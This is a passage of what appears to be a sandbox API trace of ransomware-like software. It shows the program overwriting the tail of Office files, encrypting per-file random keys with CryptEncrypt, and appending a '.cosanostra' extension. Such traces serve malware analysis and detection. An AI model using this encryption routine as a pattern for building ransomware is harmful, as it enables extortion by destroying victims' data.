lpNewFilePointer=0x0) returned 1 [0095.916] WriteFile (in: hFile=0x138, lpBuffer=0x26ff594*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x26ff594*, lpNumberOfBytesWritten=0x26ff554*=0x4, lpOverlapped=0x0) returned 1 [0095.941] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff554*=0x30, lpOverlapped=0x0) returned 1 [0095.941] CloseHandle (hObject=0x138) returned 1 [0095.941] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.cosanostra") returned 84 [0095.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll.cosanostra")) returned 1 [0095.942] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff590 | out: pbBuffer=0x26ff590) returned 1 [0095.942] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff588*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff588*=0x30) returned 1 [0095.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.943] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 76 [0095.943] StrStrW (lpFirst="MOR6INT.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.005] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff54c*=0x2800, lpOverlapped=0x0) returned 1 [0096.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.005] WriteFile (in: hFile=0x138, lpBuffer=0x26ff58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x26ff58c*, lpNumberOfBytesWritten=0x26ff54c*=0x4, lpOverlapped=0x0) returned 1 [0096.009] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff54c*=0x30, lpOverlapped=0x0) returned 1 [0096.009] CloseHandle (hObject=0x138) returned 1 [0096.009] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.cosanostra") returned 87 [0096.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll.cosanostra")) returned 1 [0096.010] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff590 | out: pbBuffer=0x26ff590) returned 1 [0096.010] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff588*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff588*=0x30) returned 1 [0096.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.011] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 75 [0096.011] StrStrW (lpFirst="VISINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.158] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.158] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff54c*=0x2800, lpOverlapped=0x0) returned 1 [0096.158] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.158] WriteFile (in: hFile=0x138, lpBuffer=0x26ff58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x26ff58c*, lpNumberOfBytesWritten=0x26ff54c*=0x4, lpOverlapped=0x0) returned 1 [0096.194] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff54c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff54c*=0x30, lpOverlapped=0x0) returned 1 [0096.194] CloseHandle (hObject=0x138) returned 1 [0096.194] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.cosanostra") returned 86 [0096.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll.cosanostra")) returned 1 [0096.195] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff588 | out: pbBuffer=0x26ff588) returned 1 [0096.195] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff580*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff580*=0x30) returned 1 [0096.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.195] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 76 [0096.195] StrStrW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.246] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.246] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff544*=0x2800, lpOverlapped=0x0) returned 1 [0096.246] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.246] WriteFile (in: hFile=0x138, lpBuffer=0x26ff584*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x26ff584*, lpNumberOfBytesWritten=0x26ff544*=0x4, lpOverlapped=0x0) returned 1 [0096.292] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff544*=0x30, lpOverlapped=0x0) returned 1 [0096.292] CloseHandle (hObject=0x138) returned 1 [0096.340] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.cosanostra") returned 87 [0096.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll.cosanostra")) returned 1 [0096.347] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff588 | out: pbBuffer=0x26ff588) returned 1 [0096.347] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff580*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff580*=0x30) returned 1 [0096.347] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.347] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 76 [0096.347] StrStrW (lpFirst="MSOINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.400] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.400] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff544*=0x2800, lpOverlapped=0x0) returned 1 [0096.400] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.400] WriteFile (in: hFile=0x138, lpBuffer=0x26ff584*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x26ff584*, lpNumberOfBytesWritten=0x26ff544*=0x4, lpOverlapped=0x0) returned 1 [0096.401] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff544, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff544*=0x30, lpOverlapped=0x0) returned 1 [0096.401] CloseHandle (hObject=0x138) returned 1 [0096.401] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.cosanostra") returned 87 [0096.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.cosanostra")) returned 1 [0096.402] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff580 | out: pbBuffer=0x26ff580) returned 1 [0096.402] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff578*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff578*=0x30) returned 1 [0096.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.403] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 76 [0096.403] StrStrW (lpFirst="MOR6INT.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.413] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.413] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff53c*=0x2800, lpOverlapped=0x0) returned 1 [0096.413] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.413] WriteFile (in: hFile=0x138, lpBuffer=0x26ff57c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x26ff57c*, lpNumberOfBytesWritten=0x26ff53c*=0x4, lpOverlapped=0x0) returned 1 [0096.422] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff53c*=0x30, lpOverlapped=0x0) returned 1 [0096.422] CloseHandle (hObject=0x138) returned 1 [0096.423] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.cosanostra") returned 87 [0096.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll.cosanostra")) returned 1 [0096.423] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff580 | out: pbBuffer=0x26ff580) returned 1 [0096.423] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff578*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff578*=0x30) returned 1 [0096.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.424] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 73 [0096.424] StrStrW (lpFirst="MAPIR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.425] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.425] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff53c*=0x2800, lpOverlapped=0x0) returned 1 [0096.426] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.426] WriteFile (in: hFile=0x138, lpBuffer=0x26ff57c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x26ff57c*, lpNumberOfBytesWritten=0x26ff53c*=0x4, lpOverlapped=0x0) returned 1 [0096.429] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff53c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff53c*=0x30, lpOverlapped=0x0) returned 1 [0096.429] CloseHandle (hObject=0x138) returned 1 [0096.429] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.cosanostra") returned 84 [0096.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll.cosanostra")) returned 1 [0096.430] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff578 | out: pbBuffer=0x26ff578) returned 1 [0096.430] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff570*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff570*=0x30) returned 1 [0096.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.430] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 76 [0096.430] StrStrW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.463] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.463] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff534*=0x2800, lpOverlapped=0x0) returned 1 [0096.464] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.464] WriteFile (in: hFile=0x138, lpBuffer=0x26ff574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x26ff574*, lpNumberOfBytesWritten=0x26ff534*=0x4, lpOverlapped=0x0) returned 1 [0096.465] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff534*=0x30, lpOverlapped=0x0) returned 1 [0096.465] CloseHandle (hObject=0x138) returned 1 [0096.465] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.cosanostra") returned 87 [0096.465] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll.cosanostra")) returned 1 [0096.466] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff578 | out: pbBuffer=0x26ff578) returned 1 [0096.466] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff570*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff570*=0x30) returned 1 [0096.466] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.466] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 76 [0096.466] StrStrW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.475] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.475] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff534*=0x2800, lpOverlapped=0x0) returned 1 [0096.476] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.476] WriteFile (in: hFile=0x138, lpBuffer=0x26ff574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x26ff574*, lpNumberOfBytesWritten=0x26ff534*=0x4, lpOverlapped=0x0) returned 1 [0096.477] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff534, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff534*=0x30, lpOverlapped=0x0) returned 1 [0096.477] CloseHandle (hObject=0x138) returned 1 [0096.477] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.cosanostra") returned 87 [0096.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll.cosanostra")) returned 1 [0096.478] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff570 | out: pbBuffer=0x26ff570) returned 1 [0096.478] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff568*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff568*=0x30) returned 1 [0096.478] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.826] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned 50 [0096.826] StrStrW (lpFirst="MySite.ico", lpSrch=".txt") returned 0x0 [0096.862] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.862] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff52c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff52c*=0x2800, lpOverlapped=0x0) returned 1 [0096.862] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.862] WriteFile (in: hFile=0x160, lpBuffer=0x26ff56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff52c, lpOverlapped=0x0 | out: lpBuffer=0x26ff56c*, lpNumberOfBytesWritten=0x26ff52c*=0x4, lpOverlapped=0x0) returned 1 [0096.864] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff52c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff52c*=0x30, lpOverlapped=0x0) returned 1 [0096.864] CloseHandle (hObject=0x160) returned 1 [0096.865] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: 